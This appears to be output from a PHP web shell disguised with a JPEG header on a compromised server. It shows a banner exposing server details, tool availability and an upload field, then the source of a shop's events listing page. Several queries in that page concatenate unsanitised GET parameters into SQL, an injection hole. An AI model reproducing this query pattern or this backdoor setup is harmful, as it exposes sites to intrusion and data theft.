ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ |
Upload File : |
<?php
/*
Module : Front-Office - Accueil
Date : Juin 2015
Version Shop : V15.6
Auteur : Guillaume MADIOT - Computer 64
*/
//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//
// Chargement fichiers de configuration.
require('libs/Smarty.class.php');
// Démarrage du moteur TPL.
$smarty = new Smarty;
// Chargement des Fonctions Globals.
require_once('fonctions.php');
//****************************************************************************************//
//**************************************** Evenements ************************************//
//****************************************************************************************//
$px_par_page = $_GET['px_par_page'];
$smarty->assign("px_par_page", $px_par_page);
//////////////////////////////////////////////////////////// PAGINATION
require_once('pagination_category.php');
//////////////////////////////////////////////////////////// PAGINATION
if (isset($_GET['d'])) {
$date_env = $_GET['d'];
} else { $date_env = ''; }
if ($date_env !=='') {
$smarty->assign("d", $date_env);
$array_env=explode("-",$date_env);
$date_env_us=$array_env[2]."-".$array_env[1]."-".$array_env[0];
$nb_total =0;
$res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM events WHERE status = 1 AND (date_debut <= '$date_env_us') AND (date_fin >=' $date_env_us')");
$columns = $res->fetch();
$nb_total = $columns['nb_total'];
$smarty->assign("nb_total", $nb_total);
//////////////////////////////////////////////////////////////////
} else {
//////////////////////////////////////////////////////////////////
$nb_total =0;
$res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM events WHERE status = 1 AND date_fin >= CURDATE()");
$columns = $res->fetch();
$nb_total = $columns['nb_total'];
$smarty->assign("nb_total", $nb_total);
}
//////////////////////////////////////////////////////////// PAGINATION
if (!isset($_GET['debut'])) $_GET['debut'] = 0;
$nb_affichage_par_page = $cateo;
//////////////////////////////////////////////////////////// PAGINATION
if ($date_env !=='') {
if ($px_par_page=='2') {
$sql = $GLOBALS['bdd']->query("SELECT * FROM events
WHERE status = 1 AND (date_debut <= '$date_env_us') AND (date_fin >=' $date_env_us')
ORDER BY date_debut DESC LIMIT ".$_GET['debut'].", ".$nb_affichage_par_page."");
} else if ($px_par_page=='3') {
$sql = $GLOBALS['bdd']->query("SELECT * FROM events
WHERE status = 1 AND (date_debut <= '$date_env_us') AND (date_fin >=' $date_env_us')
ORDER BY zip ASC LIMIT ".$_GET['debut'].", ".$nb_affichage_par_page."");
} else {
$sql = $GLOBALS['bdd']->query("SELECT * FROM events
WHERE status = 1 AND (date_debut <= '$date_env_us') AND (date_fin >=' $date_env_us')
ORDER BY date_debut ASC LIMIT ".$_GET['debut'].", ".$nb_affichage_par_page."");
}
//////////////////////////////////////////////////
} else {
/////////////////////////////////////////////////
if ($px_par_page=='2') {
$sql = $GLOBALS['bdd']->query('SELECT * FROM events
WHERE status = 1 AND date_fin >= CURDATE()
ORDER BY date_debut DESC LIMIT '.$_GET['debut'].', '.$nb_affichage_par_page.'');
} else if ($px_par_page=='3') {
$sql = $GLOBALS['bdd']->query('SELECT * FROM events
WHERE status = 1 AND date_fin >= CURDATE()
ORDER BY zip ASC LIMIT '.$_GET['debut'].', '.$nb_affichage_par_page.'');
} else {
$sql = $GLOBALS['bdd']->query('SELECT * FROM events
WHERE status = 1 AND date_fin >= CURDATE()
ORDER BY date_debut ASC LIMIT '.$_GET['debut'].', '.$nb_affichage_par_page.'');
}
}
$result = $sql->fetchAll();
$smarty->assign("list", $result);
//////////////////////////////////////////////////////////// PAGINATION
//mysql_free_result ($requete);
$barre_nav = barre_navigation($nb_total, $nb_affichage_par_page, $px_par_page, $_GET['debut'], 8);
$smarty->assign('barre_nav',$barre_nav);
//////////////////////////////////////////////////////////// PAGINATION
// Affichage.
$smarty->display('events.tpl');
?>